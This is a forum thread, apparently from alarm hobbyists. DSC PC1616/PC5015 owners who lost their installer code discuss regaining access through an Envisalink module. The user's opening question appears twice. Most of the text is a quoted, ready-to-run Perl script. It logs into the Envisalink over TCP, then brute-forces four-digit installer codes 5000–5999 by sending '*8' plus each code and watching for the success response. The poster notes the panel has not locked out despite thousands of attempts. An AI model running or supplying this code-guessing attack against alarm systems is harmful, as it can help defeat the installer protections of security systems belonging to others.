Re: EVL 4, DSC and lost installer code - hacking my own system
Posted: Sun Dec 29, 2019 3:36 am
Hi,
I have been trying to use the code below but it keeps on failing following the authentication step. I have tried a several passwords but not luck. I was wondering if we need to use the DSC Master password or a password from our Envisalink portal. I am using the PC1616 model. I don't have my installer password since the company went bankrupt. We are looking for an alternative. From reading the reviews, this product sounds promising.
Thank you for your help.
I have been trying to use the code below but it keeps on failing following the authentication step. I have tried a several passwords but not luck. I was wondering if we need to use the DSC Master password or a password from our Envisalink portal. I am using the PC1616 model. I don't have my installer password since the company went bankrupt. We are looking for an alternative. From reading the reviews, this product sounds promising.
Thank you for your help.
Smith wrote:Rightie O. Well, I'm testing blocks of 1000 installer codes now and then. It takes about 2.8 sec per attempt, so 45 min per block. Not sure yet if it will even work in the end but if it would work then it would be a nice feelingmikep wrote:Including, especially me! It was a very long time ago, so go with the internet majority. I don't recall which, I only remember DLS worked and I didn't need to reprogram the entire system...From some googling I got the impression that clicks = Lockout is enabled, but people on the internet can often be confused.
Right 1616 has 6 zones plus one for each hardwired PK keypad (not sure about the other keypads).
Here is the code I am using now in case anyone is curious, I guess about any linux system (including raspbian or mac) would have perl installed.
So far no keypad lockout despite 1000s of wrong attempts at getting into installer mode (it's a PC5015 board). I'll update here with either 'success' or 'fail'....
Code: Select all
#!/usr/bin/perl use IO::Socket::INET; use Time::HiRes qw ( time sleep ); # auto-flush on socket $| = 1; $socket = new IO::Socket::INET ( PeerHost => '192.168.---------------------------------ADDRESS OF ENVISALINK---------------------------------', PeerPort => '4025', Proto => 'tcp', ); die "cannot connect, $!\n" unless $socket; print "connected\n"; DSC_get(); DSC_put(DSC_cmd("005", "---------------------------------PASSWORD---------------------------------")); # 005 - network login $response = DSC_get(); foreach ($response) { /^5000052A.*5051CB/s && print("correct pass\n"); /^5000052A.*5050CA/s && print("wrong pass\n") && exit(1); /^.*5052CC/s && print("timeout\n") && exit(1); } open OUT, ">log." . zulu() . ".txt"; $t = time; l0gt(); for ($code = 5000; $code < 5999; $code++) { l0gt(); $scode = sprintf("%04d", $code); l0g("$scode\n"); DSC_put(DSC_cmd("071", "1*8")); # 071 send keys, partition 1, '*8' enter installer mode DSC_get_ww("^922"); # 922 EVL requests installer code DSC_put(DSC_cmd("200", $scode)); # 200 send a code $r = DSC_get_ww("^6[58]"); # 6XX response l0g($r."\n"); DSC_put(DSC_cmd("071", "1##")); # 071 send keys, partition 1, '##' possibly back out of installer menu l0g(DSC_get_w()."\n"); sleep(0.6); # wait for messages to be processed, otherwise "Keybus Transmit Buffer Overrun" if ($r =~ /^680/) {l0g("success\n"); exit(0); } } close OUT; $socket->close(); sub l0gt { l0g("[" . sprintf("%.3f", time - $t) . "]\n"); } sub l0g { my $s = shift; print $s; print OUT $s; } sub zulu { my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime(time); my $yyyymmddhhmmss = sprintf "%.4d%.2d%.2d_%.2d%.2d%.2dZ", $year+1900, $mon+1, $mday, $hour, $min, $sec; $yyyymmddhhmmss; } sub DSC_cs { my @chars = (split//, shift); my $cs = 0; foreach (@chars) { $cs += ord($_); } return sprintf("%.2X", $cs & 0xFF); }; sub DSC_cmd { my $cmd = shift . shift; return $cmd.DSC_cs($cmd); } sub DSC_get { my $response = ""; $socket->recv($response, 1024); my $hresponse = $response; $hresponse =~ s/\n/\\n/g; $hresponse =~ s/\r/\\r/g; print "response: '$hresponse' (length " . length($response) .")\n"; return $response; } sub DSC_get_w { # wait for data my $response = ""; X: sleep(0.1); $socket->recv($response, 1024); if ($response eq "") { goto X; } my $hresponse = $response; $hresponse =~ s/\n/\\n/g; $hresponse =~ s/\r/\\r/g; print "response: '$hresponse' (length " . length($response) .")\n"; return $response; } sub DSC_get_ww { # wait for specific data my $response = ""; my $wanted = shift; X: sleep(0.1); $socket->recv($response, 1024); if ($response eq "") { goto X; } my $hresponse = $response; $hresponse =~ s/\n/\\n/g; $hresponse =~ s/\r/\\r/g; print "response: '$hresponse' (length " . length($response) .")\n"; unless ($response =~ /$wanted/) { goto X; } return $response; } sub DSC_put { my $req = shift . "\r\n"; my $size = $socket->send($req); my $hreq = $req; $hreq =~ s/\n/\\n/g; $hreq =~ s/\r/\\r/g; print "sent data '$hreq' (length $size)\n"; }